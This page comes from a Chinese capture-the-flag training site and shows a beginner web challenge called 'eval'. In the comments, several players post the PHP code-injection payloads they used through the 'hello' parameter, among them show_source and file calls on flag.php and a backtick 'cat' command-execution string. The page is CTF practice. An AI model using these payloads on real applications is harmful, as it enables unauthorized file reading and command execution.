evalWEB 未解决

分数: 15 金币: 1
题目作者: harry
一  血: moren448
一血奖励: 1金币
解  决: 20348
提  示:
描  述:
eval
评论
luyisie 4年前

file // show_source // highlight_file

回复 0

wwgy9981 5年前

flag = 'Too Young Too Simple‘

回复 2

kavin 5年前

明白了原理,用bp搞了一轮,发现hello=show_source('flag.php')可行

回复 4

kuaiting 5年前

使用?hello=file('flag.php') 或者?hello=show_source('flag.php') 等可以读取源码的函数 或者构造var_dump($a) 闭合

回复 5

陈江川0118 5年前

简单来说就是利用file函数把flag.php的内容存到一个数组中,然后打印出来数组的内容即可

回复 4

trackboy 5年前

?hello=file(%22flag.php%22) ?hello=file_get_contents(%27flag.php%27) ?hello=1);show_source(%27flag.php%27);var_dump( ?hello=);echo%20`cat%20./flag.php`;//

回复 4

lgb236277484 5年前

highlight_file()

回复 0

mingshen 5年前

PHP show_source() 杂项函数,或者file协议读取文件内容

回复 0

linkzoom 5年前

离谱,cat啥啊真的是...

回复 0
ctf20210817 5年前

确实是cat就可以

回复 0

kunge 5年前

基础不牢,地动山摇,以前用过tac,今天怎么也想不起来。感谢使用file()函数哪位大哥,感谢对tac与cat进行分别讲解的大哥,学到了很多

回复 3

WriteUp

image
harry

1 金币

评分(13)

解题动态

小白修炼日常 攻破了该题 48分钟前
tafeishi 攻破了该题 2小时前
diandianying 攻破了该题 21小时前
amuliang1 攻破了该题 23小时前
恣睢 攻破了该题 1天前
xiaoqixy1 攻破了该题 1天前
lonely_wolf 攻破了该题 1天前
soymilk 攻破了该题 1天前
gedeer 攻破了该题 2天前
ysjy 攻破了该题 2天前
cholmon 攻破了该题 2天前
ling_x 攻破了该题 2天前
Anos 攻破了该题 3天前
15369226763 攻破了该题 3天前
人生1234 攻破了该题 3天前
asasehotaru 攻破了该题 3天前
wwwwander 攻破了该题 4天前
re_void 攻破了该题 4天前
wefyh 攻破了该题 4天前
16533261 攻破了该题 4天前
问题反馈